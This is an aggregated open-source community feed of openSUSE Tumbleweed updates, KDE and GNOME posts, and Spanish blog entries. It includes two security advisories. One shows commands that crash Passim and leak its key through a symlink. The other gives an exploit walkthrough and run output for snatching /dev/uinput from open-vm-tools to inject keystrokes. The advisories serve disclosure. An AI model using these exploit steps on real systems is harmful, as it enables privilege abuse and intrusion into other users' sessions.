Dear Tumbleweed users and hackers,

Another week fully loaded with Tumbleweed snapshot comes to an end. This week, we have delivered five snapshots (with a new one already in openQA).

The five snapshots (1019, 1020, 1022, 1023, and 1025) brought you those changes:

• KDE Frameworks 5.111.0
• KDE Plasma 5.27.9
• Samba 4.19.2
• SQLite 3.43.2
• Apache 2.4.58
• Linux kernel 6.5.8
• Pipewire 0.3.83
• Virtualbox 7.0.12
• zlib 1.3
• Redis 7.2.2
• Meson 1.2.3

And, as after the snapshot is before the snapshot, the subsequent things are already lined up and getting ready to reach you. The most intriguing things there are:

• Qemu 8.1.2
• VLC 3.0.19
• LLVM 17.0.3
• systemd: Ship the main configuration files in /usr/lib/; this change will hopefully encourage users to customize the defaults via drop-ins, hence removing the risk of conflicts with downstream customization.
• Boost 1.83.0
• Linux kernel 6.5.9
• openSSL 3.1.4
• PHP 8.2.12
• binutils 2.41
• moving to dbus-broker

This is a report about findings in the Passim local caching server.

1) Introduction

Passim is a relatively new project for a local caching server that helps distributing publicly available files in local networks to save network bandwidth. It is a dependency of new fwupd releases, which is why it has come to our attention.

Passim consists of a daemon component running as a separate passim user and group. The daemon offers a local D-Bus interface over which only the root user may publish or unpublish files on the network. Non-root users may only inspect the available items via D-Bus.

Furthermore the daemon announces all cached items via the Ahavi discovery protocol. For retrieval of individual items a small libsoup based HTTP server is integrated into the daemon, listening on port 25000.

A small command line programm passim allows to interact with the daemon’s D-Bus interface.

The findings in this report are based on the upstream release tag 0.1.3.

2) Findings

2.1) Remote DoS Against passimd by Triggering NULL Pointer Dereference

When accessing a URL different from the root “/” and without passing any parameters “?” then a segmentation fault is the result in passim-server.c:751 (null pointer dereference, because there is no request).

Example:

root# curl -v -k 'https://localhost:27500/myfile'
root# journalctl -u passim.service | tail -n 5
Oct 25 12:45:24 mybox passimd[5091]: accepting HTTP/1.1 GET /myfile  from ::1:39278 (loopback)
Oct 25 12:45:24 mybox passimd[5091]: g_strsplit: assertion 'string != NULL' failed
Oct 25 12:45:29 mybox systemd[1]: passim.service: Main process exited, code=dumped, status=11/SEGV
Oct 25 12:45:29 mybox systemd[1]: passim.service: Failed with result 'core-dump'.

Upstream has library settings in effect to abort on failing assertions instead of trying to continue, to prevent possible memory access errors from becoming exploitable.

This issue is fixed via upstream commit 1f7bcea.

2.2) Serving Static Files from a Directory owned by Unprivileged Users

Passim supports the configuration of static directories on the local file system, whose content will be processed and published upon startup.

Consider a directory controlled by ‘nobody’:

root# cat /etc/passim.d/nobody.conf
[passim]
Path=/var/lib/nobody/passim

There’s two things that I found problematic in such a scenario.

a) Placing Inaccessible Files in the Directory

root# sudo -u nobody -g nobody /bin/bash
nobody$ mkdir /var/lib/nobody/passim
nobody$ touch /var/lib/nobody/passim/somefile
nobody$ chmod 000 /var/lib/nobody/passim/somefile

This will prevent future starts of passimd:

root# systemctl restart passim.service
Job for passim.service failed because the control process exited with error code.
See "systemctl status passim.service" and "journalctl -xeu passim.service" for details.
root# journalctl -u passim.service | tail -n 6
Oct 25 12:56:58 mybox passimd[5330]: scanning /var/lib/nobody/passim
Oct 25 12:56:58 mybox passimd[5330]: failed to scan sysconfpkg directory: Error opening file /var/lib/nobody/passim/somefile: Permission denied
Oct 25 12:56:58 mybox systemd[1]: passim.service: Main process exited, code=exited, status=1/FAILURE
Oct 25 12:56:58 mybox systemd[1]: passim.service: Failed with result 'exit-code'.
Oct 25 12:56:58 mybox systemd[1]: Failed to start Local Caching Server.

This opens a local DoS attack vector against passimd for the unprivileged user that owns the directory. This is also valid for other situations like a FIFO placed there, broken symlinks or symlinks to inaccessible locations as well as race conditions (time of readdir() vs. time of open()).

This has at least partially been addressed by upstream commit f4c34bd3.

b) Placing Symlinks to Otherwise Inaccessible Data in the Directory

Although passimd runs with low privileges by default there are some interesting files that a local attacker might want to get their hands on. Since passimd follows symlinks in this directory one could try to “publish” files from /proc/<pidof passimd> by placing symlinks. This is somewhat difficult though, since a race condition has to be won (the PID of a starting passimd needs to be known to place a proper symlink). Also there are not that many interesting files in there I believe. Also e.g. /proc/<pid>/mem cannot be shared this way, since it cannot be read sequentially.

A much simpler attack is to publish the SSL private key of passimd though:

root# sudo -u nobody -g nobody /bin/bash
nobody$ mkdir /var/lib/nobody/passim
nobody$ ln -s /var/lib/passim/secret.key /var/lib/nobody/passim/secret

root# systemctl restart passim.service
root# passim dump
passimd is running
1c69e7e4d7b7ed655eafa94942a5ef04f7c7688a0519be387133176154f58fe6 secret size:2.5 kB

root# sha256sum /var/lib/passim/secret.key
1c69e7e4d7b7ed655eafa94942a5ef04f7c7688a0519be387133176154f58fe6  /var/lib/passim/secret.key

From here on the local attacker can simply download the now shared “secret key” from localhost.

It has to be noted that this SSL private key has no security purpose in passimd but only serves to prevent network traffic security scanners from raising alarm over unencrypted traffic.

Thus currently there is no known information leak using this attack that has attacker value. It is still crossing of a security boundary and could be problematic in the future.

Upstream issue #26 deals with this issue but is not yet completely fixed, due to a remaining race condition.

Bugfix Release and Upstream Reporting

I reported these issues to the upstream author on 2023-10-25. No coordinated disclosure was desired so bugfixes have been and still are developed publicly over the GitHub issue tracker.

There are some disagreements with upstream about whether these issues are qualifying as security issues. I believe they are. Due to this no CVEs have been assigned as of now.

Passim is packaged, to my knowledge, in Fedora Linux and Arch Linux already. Otherwise it should not be widespread.

Upstream is working on a new release of Passim containing fixes for these and some other non-security issues that I reported as well.

References

• Passim GitHub repository
• Fwupd GitHub repository
• Passim Release Tag 0.1.3
• Passim NULL pointer dereference source code location
• Passim NULL pointer dereference bugfix
• Passim bugfix to be robust against EPERM errors
• Passim issue report about the possibility to leak the SSL private key

Introduction

During a routine review of the setuid-root binary vmware-user-suid-wrapper from the open-vm-tools repository I discovered the vulnerability described in this report. The version under review was open-vm-tools version 12.2.0. The setuid-root binary’s source code in the open-vm-tools repository did not change since version 10.3.0 (released in 2018), however, so likely most current installations of open-vm-tools are affected by this finding.

Behaviour of vmware-user-suid-wrapper

On first look the vmware-user-suid-wrapper seems to be small and harmless:

• it opens /dev/uinput as root, if it believes to be running on Wayland. The latter is determined by inspecting the value of the environment variable XDG_SESSION_TYPE, checking whether it is set to “wayland”.
• it opens /var/run/vmblock-fuse/dev, if existing, as root.
• it permanently drops all privileges to the real (unprivileged) user and group ids and executes /usr/bin/vmtoolsd, inheriting to it any of the previously opened file descriptors.
• the new vmtoolsd process will inspect the environment, e.g. check whether the current host is running in a vmware guest environment and whether a graphical session is available. If one of these is not fulfilled then the process quickly terminates. On success the daemon keeps running, providing its services, keeping the privileged file descriptors open.

So it seems everything is in order, the program opens up to two privileged files, drops privileges and passes the open files on to vmtoolsd to use them in the calling user’s context.

The Vulnerability

The (somewhat surprising) problem here is the combination of dropping privileges to the real uid / gid and the following execve() to execute the non-setuid program vmtoolsd. During the execve() the process’s “dumpable” attribute is reset to the value of 1.

From the man page prctl(5) we can learn the following about a process’s dumpable attribute:

Normally, the "dumpable" attribute is set to 1. However, it is reset to
the current value contained in the file /proc/sys/fs/suid_dumpable (which by
default has the value 0), in the following circumstances:

[...]

- The process executes (execve(2)) a set-user-ID or set-group-ID program,
  resulting in a change of either the effective user ID or the effective
  group ID.

[...]

Processes that are not dumpable can not be attached via ptrace(2)
PTRACE_ATTACH; see ptrace(2) for further details.

On most Linux distributions the global suid_dumpable setting is set either to 0 (setuid programs may not dump core at all) or 2 (setuid programs may dump core but only in safe file system locations). Consequently when vmware-user-suid-wrapper runs, its dumpable attribute is set to 2 on openSUSE Tumbleweed, which I have been using while researching this issue. However after the execve() this changes, as is also documented in the execve(2) man page:

The following Linux-specific process attributes are also not preserved
during an execve():

- The process's "dumpable" attribute is set to the value 1, unless a
  set-user-ID program, a set-group-ID program, or a program with
  capabilities is being executed, [...].

Consequently when vmtoolsd is executed with dropped privileges, the process’s “dumpable” attribute will be reset to 1.

The problem with this is that the unprivileged user that originally invoked vmware-user-suid-wrapper now is allowed to ptrace() the vmtoolsd process along with a number of other operations that have not been allowed on the setuid-root process before.

The interesting resources that vmtoolsd has from a unprivileged user’s perspective are the open file descriptors for /dev/uinput and/or /var/run/vmblock-fuse/dev. With the help of ptrace() malicious code could be injected into the vmtoolsd process to get access to the privileged file descriptors. An even easier approach is to use modern Linux’s pidfd API pidfd_open() and pidfd_getfd() to obtain a copy of the privileged file descriptors. In the man page pidfd_getfd(2) we can find:

Permission to duplicate another process's file descriptor is governed by a
ptrace access mode PTRACE_MODE_ATTACH_REALCREDS check (see ptrace(2)).

In this context this again boils down to the process’s “dumpable” attribute which is now set to 1, and thus the operation is allowed.

Exploiting the Issue

vmware-user-suid-wrapper can be forced to open /dev/uinput even if not running on Wayland by setting the user controlled environment variable XDG_SESSION_TYPE=wayland. This means the file descriptor for this device file will always be a valid attacker target independently of the actual situation on a system.

There are two different scenarios to look at regarding the exploitability of the issue. The easier case is when a valid environment for vmtoolsd is available i.e. a graphical desktop session is existing and the check for running in a VMware guest machine is succeeding (function call VMCheck_IsVirtualWorld()). In this case vmtoolsd will continue running permanently and there is no race condition to be won. Exploiting the issue is straightforward, as is demonstrated in the PoC program vmware-get-fd.c.

The more difficult case is when an attacker is either not running a graphical environment or not even running in a VMware guest environment. In the worst case vmtoolsd will terminate quickly, because of the failing VMCheck_IsVirtualWorld() check. Thus the time window for actually operating on the vulnerable process is short. A variant of the PoC program, vmware-race-fd.c, starts the vmware-user-suid-wrapper continuously and attempts to snatch the privileged file descriptors from the short-lived vmtoolsd process. In my tests this often succeeded quickly (even on the first attempt), likely when the vmtoolsd resources have not yet been cached by the kernel. Later attempts often take a longer time to succeed but still succeeded after 10 to 20 seconds.

In summary the existence of the setuid-root program vmware-user-suid-wrapper is enough to exploit the issue for /dev/uinput. The attacker needs no special permissions (even the nobody user can exploit it) and the operating system doesn’t even need to be running as a VMware guest. This can be relevant in situations when open-vm-tools are distributed by default in generic Linux distributions / images, or in environments where unprivileged users are allowed to install additional software from trusted sources without root authentication (a model that is e.g. supported by the PackageKit project).

Vulnerability Impact

/dev/uinput

Getting access to a file descriptor for the /dev/uinput device allows an attacker to create arbitrary userspace based input devices and register them with the kernel. This includes the possibility to send synthesized key or mouse events to the kernel. The example program uinput-inject.c demonstrates how this can be used to cause arbitrary key strokes to be injected into local user sessions both graphical or on textual login consoles. Thus this attack vector borders the area of arbitrary code execution with the restriction that a local interactive user needs to be present.

This aspect of the vulnerability could be used to increase privileges after gaining low privilege access e.g. through a remote security hole. On multi user machines with shared access it could be used to prepare an attack where a background process waits for a victim user to log into the machine and then inject malicious input into its session.

Since /dev/uinput is not VMware specific, this attack vector is basically also available in non-VMware environments.

The following is an example exploit run using the attached programs, provided the vmware-user-suid-wrapper is already installed and a compiler is available:

user$ gcc -O2 vmware-race-fd.c -ovmware-race-fd
user$ gcc -O2 uinput-inject.c -ouinput-inject

user$ ./vmware-race-fd
vmware-user: could not open /proc/fs/vmblock/dev
vmware-user: could not open /proc/fs/vmblock/dev
[...]
/usr/bin/vmtoolsd running at 12226
Found fd 3 for /dev/uinput in /usr/bin/vmtoolsd
Executing sub shell which will inherit the snatched file descriptor 4 (check /proc/self/fd)

user$ ls -l /proc/self/fd/4
l-wx------ 1 user group 64 Jul 25 13:43 /proc/self/fd/4 -> /dev/uinput

user$ ./uinput-inject 4
Sleeping 3 seconds for input subsystem to settle
completed one iteration
completed one iteration

This will continuously write the line “you have been hacked” onto whatever session is currently selected on the system’s display.

/var/run/vmblock-fuse/dev

As far as I understand, this file is created by the vmware-vmblock-fuse daemon and represents a control file. The FUSE file system is used to implement access to folders shared between the VMware host and VMware guests. This file allows, according to documentation, to add, delete or list blocks in shared folders.

As a result access to this file descriptor breaks the boundary between different users in the guest system regarding shared folder access. The integrity of the shared folder content can be violated. It might also be possible to leak information from shared folders into the unprivileged user’s context.

Depending on the actual environment it might allow to result in code execution if e.g. malicious code is written to shared folders that could then be executed even on the VMware host system.

The vmware-fuse documentation mentions the outlook to allow unprivileged users access to this control file, but this idea seems not safe to me in its current form.

I did not look more closely into practical exploits of this.

Suggested Fix

To fix this problem it must be prevented that the “dumpable” attribute of the vmware-user-suid-wrapper process is reset when executing vmtoolsd. One way to achieve this could be to move the privilege drop logic into vmtoolsd instead. As long as the process is running in the setuid-root context, the “dumpable” attribute will not be reset. vmtoolsd can then drop privileges and also mark the privileged file descriptors with the O_CLOEXEC flag to prevent them to be inherited unintendedly to further child processes, which might result in the same problem again.

Update: This is the route that the patch provided by upstream has taken.

As a first aid and/or hardening measure, access to the vmware-user-suid-wrapper could be limited to members of a privileged group e.g. vmware-users. This would reduce the attack surface and prevent e.g. a compromised nobody user account to exploit this.

In terms of hardening, the vmware-user-suid-wrapper could also add some code to sanitize the environment variables passed from the unprivileged context, which is a frequent source of security issues in setuid-root binaries. At least the PATH variable should be reset to a safe value to avoid any future surprises when looking up executable for execve().

Timeline

References

• open-vm-tools GitHub repository
• open-vm-tools vmblock-fuse design document

Otro mes que apuro para publiar esta típica entrada. Sigo la iniciativa #viernesdeescritorio con una nueva captura, con la que llegaré a casi dos años seguidos compartiendo «Mi escritorio» de forma mensual, una mirada a la intimidad de mi entorno de trabajo. De esta forma, bienvenidos a mi escritorio Plasma de octubre 2023, el décimoprimero del año (por la ración doble de febrero) que destaca por su simplicidad.

Mi escritorio Plasma de octubre 2023 #viernesdeescritorio

Esta va a ser la cuadragésimoprimera (41 para los que nos cuesta leer esto) vez que muestro mi escritorio Plasma 5 en público, lo cual es número nada desdeñable de entradas que sigue creciendo de forma constante. Hice un recopilatorio con los 12 escritorios del 2022 y tengo pendiente seguir con otros, para finalizar con una entrada que los recopile todos… pero eso será en un futuro.

En esta ocasión sido en mi equipo de sobremesa que es el que má utilizo estas últimas semanas, un Slimbook Kymera AMD el cual tiene instalado un KDE Neon 22.04 actualizado Plasma 5.27.8 con KDE Frameworks 5.111 siendo mi sistema gráfico Waylando, dejando atrás ya (por fin) X11. Solo puedo decir que todo me funciona bien ejecutando incluso juegos por Protón, en Linux sí se puede jugar.

Sigo con el tema global Edna, del gran Jomada el cual ya ha aparecido muchas veces en el blog, aunque he vuelto a la barra clásica inferior ya que he tenido algún que otro problema con alguna que otra aplciación. He cambiado el fondo ya que me encanta este llamado Scrtachy, también de Jomada, el cual está disponible en la Store de KDE.

Los iconos son los Kora que quedan muy en temas oscuros. Respecto a plasmoides tengo solo uno: Solo Clock, un plasmoide que me muestra la hora y día en el fondo de escritorio.

El resultado de mi escritorio Plasma de octubre de 2023 es un entorno de trabajo oscuro y, como siempre, funcional que podéis ver en la imagen inferior (pinchad sobre ella para verlo un poco más grande).

La entrada Mi escritorio Plasma de octubre 2023 #viernesdeescritorio se publicó primero en KDE Blog.

This week saw a major transition in openSUSE Tumbleweed for YaST as it moved to a new major version.

Several other packages like Apache, Redis, GVfs, Vim, KDE Plasma 5.27.9 and Frameworks updated in the rolling release this week.

KDE Plasma 5.27.9 arrives in snapshot 20231025. The latest update for the Plasma Desktop makes implements changes to avoid recursively adding every copied file to the desktop. Its recent files component ensures compatibility with an older Frameworks version of kconfigwidgets. Kwin resolves a misgenerated QHoverEvent and enhances functionality by adding QKeySequence functionality to a part of the Virtual Desktop Manager. An update of firewalld 2.0.1 resolves issues related to the command-line interface (CLI) by ensuring that the --list-all-zones output is consistent and that the default zone attribute is correctly displayed. Active attributes for zones and policies are shown accurately, and the --get-active-zones command includes the default zone. There were also enhancements in the nftables integration, so the main table is now always flushed upon the start. Several other issues were resolved, including the proper usage of IPv6 names for ICMPv6 and the configuration of IP ranges and values for ipsets when working with nftables. Updates for GNOME users also arrived in the snapshot. An update of gnome-control-center 45.1 includes enhancing the ability to close the Cursor Size and Shortcuts dialogs using the Escape key. It also supports more types of processors in the About section. A lower timeout when downloading service files, which leads to improved performance was made in the gnome-maps 45.1. This snapshot also updates gnome-terminal to version 3.50.1, which has checks for alternate terminals within the Flatpak environment and improves the handling of the headerbar preference. The second kernel-firmware of the month to version 20231019 fixes the robot email script, updates AMD CPU microcode and introduces support for sending emails during PR/patch processing. The 7.2.2 version of redis has a critical Common Vulnerability and Exposure fix; CVE-2023-45145 creates a race condition that potentially leads to unauthorized Unix socket permissions upon startup, which had existed since the 2.6.0 release candidate version. Several more packages were updated in the snapshot.

Snapshot 20231023 brought updates of some GNOME packages like gvfs, evolution and gnome-software 45.1. The latter update brings various styling fixes, an ability to report PackageKit GPG-related errors in the graphical user interface and it improves Flatpak permission checks. The update also includes translation updates. With evolution 3.50.1, the personal information management application fixes bugs like correcting the conversion of UTF-16 encoded text files, enabling spell checking for editable fields and updates default calendar colors. A fix warning about the failure to solve a puzzle when loading games was made in the gnome-sudoku 45.2 update. Another GNOME package to update was gvfs 1.52.1. This Virtual filesystem implementation addresses issues including the prevention of returning invalid mount cache entries in the client, fixes authentication problems when using DNS-Service Discovery Uniform Resource Identifiers (URI) and resolves IPv6 URI handling problems in the Network File System component. An update of harfbuzz 8.2.2 fixes a regression from 8.1.0 in shaping fonts with duplicate feature tags and resolves a regression from in parsing CSS-style feature strings. The update ofvirtualbox 7.0.12 addresses multiple CVEs like CVE-2023-22098, CVE-2023-22099 and CVE-2023-22100, which would lead to can lead to unauthorized access and system crashes. Several other packages were updated in the snapshot including rubygem-agama 5, which has enhancements like not reusing pre-existing swap partitions in the storage proposal, extends the Software service to configure selected patterns and adapts storage settings for ALP Dolomite.

The update of apache2 2.4.58 arrives in snapshot 20231022. Apache2 addresses CVE-2023-45802, which relates to stream memory management, and CVE-2023-43622, which addresses a DoS vulnerability. The updates include various improvements like enhanced support for WebSockets via HTTP/2 and the introduction of new directives for better control and logging in various scenarios. A 16.2.14.66 update of ceph takes care of issues related to minimal file system BlueFS and enables a 4K allocation unit for it. The package also enables building for RISC-V. An update of dracut addresses issues related to FIPS (Federal Information Processing Standards) setup that was causing test failures and core dumps in various test scenarios. An update of the Linux Kernel had enhancements for Advanced Linux Sound Architecture among other things. The kernel-source 6.5.8 package has network-related component changes, such as net drivers and protocols, and addresses other issues with audio and sound support like that of ALSA System on Chip for a non-functioning mic on Lenovo 82YM. An update of pipewire 0.3.83 fixes a regression, reduces memory usage in audio conversion and removes the buffer-size limit with JACK. The update of xfce4-terminal 1.1.1 improves X11 and Wayland compatibility. Among the other packages to update were libstorage-ng 4.5.149, yast2-storage-ng 5.0.3, freerdp 2.11.2 and more.

The update of the man package 2.12.0 in snapshot 20231020 addresses manual page portability issues and enables timestamps beyond 2038 for the Y2K38 event that’s a long time away.An update of nftables 1.0.9 introduces improvements like custom conntrack timeouts and better support for dynamic sets. Plus it fixes a crash with a log prefix longer than 127 bytes. The sqlite3 3.43.2 update fixes memory leaks, and enhances the JSON processing performance. The version also adds support for Full-Text Search version 5 (FTS5) Indexes that allows for the deletion of indexed records without retaining the content of the deleted records. A ton of version 5 packages in the snapshot align YaST’s versioning with SUSE versions and the service packs it supports; more than 50 yast2 packages transitioned to version 5 to align with one of SUSE’s next major releases.

KDE Plasma users who did a zypper dup with snapshot 20231019 and later received KDE Frameworks 5.111.0 updates. The KIO made improvements to dbusactivationrunner’s service activation and fixes some object paths. A fix in Kirigami allows customizing ‘donateUrl’ in AboutPage for Donate button removal. KImageFormats brings support for repetition count in the avif format, has fixes for multi-image loading in the raw format, and resolves various issues, including crashes in the High Dynamic Rang and Gimp’s xcf formats. The libnvme 1.6+5 update fixes an issue by avoiding stack corruption caused by unaligned direct memory access to user space buffers, as reported. The regular expressions library oniguruma updates to version 6.9.9 in the snapshot. This update includes updating Unicode to version 15.1.0, introducing a new API called and, addressing issues related to character classes and POSIX brackets. Rendering library virglrenderer had its first major release with version 1.0.0. The update transitions to the Venus protocol, eliminating the experimental label from the Venus configuration option. This release also improves the handling of fences between guest and host for synchronization purposes. More major versions of YaST 5 arrived and there were a few other updates to include a 4.19.2 version of samba.

Only three packages updated in snapshot 20231018 from last week that did not make it in our weekly review. That update includes enhancements and improvements to the kernel module management tools kmod; version 31 includes in-kernel decompression for performance and depmod now supports a separate output directory. Another package to update was python-pytz 2023.3.post1 that is replacing deprecated datetime.utcfromtimestamp() and is adding support for Python 3.12. Text editor vim 9.0.2043 was also in the snapshot and enhances documentation, translations and provides a few fixes.

The refresh of the Human Interface Guidelines in both the content and presentation is something to be proud of, but there were a couple of areas that weren’t great. Where we don’t quite shine in the area of blueprint illustration style is the contrast for the dark mode. While in many cases a single graphic can work in the two contexts just fine, in other it struggles. And while we tried to address it in the HIG, it became clear we do need to do better.

Inline SVG Stylesheet

there’s a little trick I learned from razze while working Flathub — a single favicon working in both dark and light mode can be achieved using a single SVG. The SVG doesn’t have inline defined fills, but instead has a simple embedded <style> that defines the g,path,rect,circle and whatnot element styles and sets the fill there. For the dark mode it gets overriden with the @media (prefers-color-scheme: dark){} rule. While generally favicons are a single color stencil, it can work for fullcolor graphics (and more complex rules):

<style>
  rect.fg { fill: #5e5c64; }
  path.bg { fill: #fff; }
  @media (prefers-color-scheme: dark) {
    rect.fg { fill: #fff; } 
    path.bg { fill: #5e5c64; }
  }
</style>

This made me think of a similar approach working for inline images as well. Sadly there’s two obstacles. While the support for inline stylesheets in SVGs seems to be quite wide among browsers, Epiphany only seems to respect prefers-color-scheme when using the image directly (or the favicon case), but didn’t seem to work when emebded inside and html page as <img>.

The more severe issue is that producing such SVGs is a little cumbersome as you have to clean up the document generated by Inkscape, which likes to use fill attribute or inline css in style. While it generally doesn’t remove markup, it will reformat your markup and you will be fighting with it every time you need to edit the SVG visually rather than inside a text editor.

HTML5 Picture

For inline images, the approach that seems more straight forward and I’ve taken on many occasions is using the HTML5 <picture> element. It works great for providing dark mode variants using source with a media attribute as well as a neat accessibility feature of showing non-animated image variant for people who opt out:

<picture>
    <source srcset="static.png" 
        media="(prefers-reduced-motion: reduce)" />
    <img src="animated.gif" />
</picture>

Sphinx/RST

GNOME Human Interface Guidelines are written in restructured text/Sphinx, however. Escaping to html for images/pictures would be quite cumbersome, but luckily dark mode is supported in the furo theme (and derivates) using the only-light and only-dark classes. The markup gets a little chatty, but still quite legible. There’s some iterations to be made, but in terms of legibility it’s finally a bit more accessible.

Agama es el nuevo instalador en el que están trabajando desarrolladores de SUSE y la comunidad de openSUSE y acaba de publicar la versión de desarrollo 5 para probar.

Agama 5 incluye algunos cambios en los que se ha estado trabajando desde la versión anterior, como una interfaz web traducida o un selector de patrones de software.

Además, introduce un cambio en el área de almacenamiento para no reutilizar particiones de intercambio preexistentes. Y por último, pero no menos importante, ahora puedes iniciar Agama Live a través de PXE.

Veamos todo esto más en detalle.

Nueva interfaz web traducida

El manejo de Agama se realiza mediante una interfaz web y hasta ahora, la interfaz web de Agama sólo estaba disponible en inglés.

Sin embargo, esta nueva versión le permite seleccionar un idioma diferente y ahora está disponible en otros cuatro idiomas: holandés, japonés, español (que realizé yo mismo) y sueco.

Hay que tener en cuenta que seleccionar un idioma diferente no afecta el sistema que está instalando. De hecho, han comenzado a trabajar en una mejor página de “Localización” que permitirá seleccionar un idioma, una distribución de teclado y una zona horaria para instalar el sistema.

Selección de patrones

Una característica importante que se ha estado posponiendo durante algún tiempo es la personalización de la selección de software. No quieren recuperar conceptos complejos y específicos, como los roles del sistema, por lo que han decidio comenzar con un prototipo que muestra la lista de patrones de software disponibles.

Agama 5 incluye un nuevo selector de patrones de software, aunque todavía es un trabajo en progreso. Sin embargo, es aún más importante la discusión que se ha abierto sobre este tema en la lista de correo de openSUSE Factory.

No reutilizar particiones de intercambio preexistentes

Al proponer un diseño de almacenamiento, Agama reutiliza particiones de intercambio preexistentes. Este comportamiento se introdujo en YaST solo por compatibilidad con versiones anteriores y fue heredado por Agama.

Sin embargo, se ha decidido que Agama debería dejar de hacer esto porque resulta confuso. Ahora, las particiones de intercambio preexistentes no se reutilizan.

Arranque a través de PXE

Desde las versiones anteriores de Agama Live, quedó claro que se necesitaba una forma de iniciar el instalador usando PXE.

Recientemente, han comenzado a crear las imágenes que se necesitan para realizar eso. El paquete agama-live contiene algunas notas sobre cómo obtener esas imágenes desde openSUSE Build Service.

Esta característica se basa en Kiwi, por lo que puede ser utilizada por cualquiera que se comprometa a crear un medio de instalación real basado en Agama en el futuro. Después de todo, Agama Live se creó con fines de demostración.

Probar Agama 5

La mejor manera de probar Agama es descargando una de las dos variantes (ALP u openSUSE) de la ISO de desarrollo de Agama Live. Esta imagen se actualiza con cada nueva versión publicada.

Pero si quieres probar lo más reciente, puedes probar las ISO del proyecto en systemsmanagement:Agama:Staging que se actualizan automáticamente con cada cambio realizado en el repositorio Git de Agama.

¿En qué están trabajando para Agama 6?

Agama 6 ya está en desarrollo y se espera tener otra versión lista para finales de noviembre. Para ese lanzamiento, habrá más cambios en el área de internacionalización, soporte para el Centro de Clientes de SUSE y la posibilidad de seleccionar cómo hacer espacio para su nuevo sistema. Además, se está trabajando para facilitar la modificación de la configuración de Agama.

Más información sobre el desarrollo y medios de contacto en el anuncio oficial:

• https://yast.opensuse.org/blog/2023-10-25/agama5

Hoy os traigo una nueva obra de Ramón Miranda que lleva por título «Creación de texturas para Krita» donde nos explica las funciones avanzadas de Krita necesarias si quieres dominar la creación de texturas. Y para hacerlo nada mejor que hacerlo mediante un vídeo donde nos explica todas las opciones.

Creación de texturas para Krita, vídeo de Ramón Miranda

Estas entradas ya son un clásico del blog los vídeos de Ramón Miranda y el fabuloso Krita. Ya han aparecido en esta bitácora 10 trucos para Krita, pintando con Krita el «Tajo de Ronda», perspectiva con Krita y cómo grabar con Krita así que no es de extrañar que esta serie siga creciendo, como es el caso de hoy en el que os presento hoy.

En sus propias palabras:

Si quieres dominar la creación de texturas necesitas saber lo que realmente puedes hacer con las funciones avanzadas de Krita.

El vídeo tiene subtítulos en inglés para la gente con discapacidad auditiva y está separado en partes ya que los tiempos están en la descripción de Youtube. No obstante, para el que solo quiera ver el vídeo lo pongo abajo

Recuerdo bien a Ramón Miranda, al cual tuve el gusto de conocer en la Akademy y Akademy-es de 2013 de Bilbao, y que sigue promocionando Krita con su maravilloso trabajo.

Más información: Krita

¿Qué es Krita?

Para los que no lo sepan, Krita es el software de pintura digital e ilustración basado en las librerías de la plataforma KDE que antes estaba incluido en Calligra Suite.

A diferencia de otras aplicaciones gráficas, se diseño hace énfasis en la creación de imágenes desde cero, es decir, está especialmente orientado para los artistas gráficos como ilustradores, dibujantes de cómics, etc.
Krita es software libre distribuido bajo la licencia GNU GPL y fue lanzado por primera vez como parte de la versión 1.4.0 de KOffice, el 21 de junio de 2005. (Vía: Wikipedia)

Para ver el funcionamiento de esta aplicación nada mejor que ver un vídeo de Odysseas Stamoglou en la que nos muestra como dibujar una chica futurística con Krita.

La entrada Creación de texturas para Krita, vídeo de Ramón Miranda se publicó primero en KDE Blog.

Si te gusta el diseño, ahora tienes la posibilidad de participar en el concurso para el nuevo logotipo de openSUSE y de otros proyectos de la comunidad

¿Tienes aptitudes para el diseño? ¿Lo tuyo es imaginar y plasmarlo en un dibujo? Ahora tienes la posibilidad de participar con tus dotes artísticas en el concurso que celebra el proyecto openSUSE.

La comunidad de openSUSE se complace en anunciar de manera oficial, el concurso para diseñar un nuevo logotipo para openSUSE y también para las cuatro distribuciones de GNU/Linux que desarrolla el proyecto: Tumbleweed, Leap, Slowroll and Kalpa.

Sí, has leido correctamente, la comunidad de openSUSE está considerando renovar el diseño de marca con un nuevo logotipo para que represente el proyecto, basado en el diseño actual del camaleón.

Este nuevo logo debería complementar la identidad de marca del proyecto openSUSE y de las distribuciones de GNU/Linux que desarrolla. El color verde (#73ba25) está reservado como el color principal para el proyecto, pero se agradecerá las sugerencias de otros colores para las diferentes distribuciones y sus logos.

Ha habido ya discusiones al respecto desde hace muchos años, pero entonces no era el momento adecuado, hasta ahora. Como el logo actual del camaleón de openSUSE es similar al antiguo logo de SUSE y el proyecto está en medio de un periodo de transición, ahora parece un momento más idóneo para lanzar esta competición junto con los nuevos logos para las distribuciones.

La forma ancha y las líneas delgadas del logotipo actual de Tumbleweed han causado problemas de visibilidad y reconocimiento, que se pretende evitar con un nuevo logotipo de Tumbleweed. El logotipo de Leap no tiene los mismos problemas, pero los miembros de la comunidad han pensado que debería estar disponible la opción de enviar un nuevo logotipo para Leap.

La intención del concurso es que los diseños del logotipo visualicen una marca unificada. Los logotipos de openSUSE para las distintas distribuciones recientemente añadidos están diseñados con formas y líneas simples para brindar singularidad e interés, generalmente como contornos vacíos, aunque no se excluye la posibilidad de usar relleno.

El concurso para aportar diseños empieza el próximo 1 de noviembre y terminará el 22 de noviembre de 2023.

Tienes todas las reglas y los requisitos que deben cumplir los diseños, y los datos de contacto para enviar tus diseños en el anuncio oficial, en este enlace:

• https://news.opensuse.org/2023/10/25/os-to-have-logos-competition/

Tu diseño será la marca distintiva del proyecto, tanto de openSUSE como de las distintas distribuciones (Leap, Tumbleweed, Slowroll, Kalpa, Aeon).

Anímate a participar y exponer tus mejores diseños en el concurso. (yo echaré de menos al actual Geecko)

Lately I needed to mirror a website as fully as possible, and ended up researching a bit more than my previous times I’ve done so. Here I’m just dropping a note that I ended up doing the following:

wget -mkxp --adjust-extension -e robots=off https://myurl.com/

Here -m is:

-r -N -l inf --no-remove-listing

or in long form:

--recursive --timestamping --level inf --no-remove-listing

and the rest ie -kxp are, in the same order

--convert-links --force-directories --page-requisites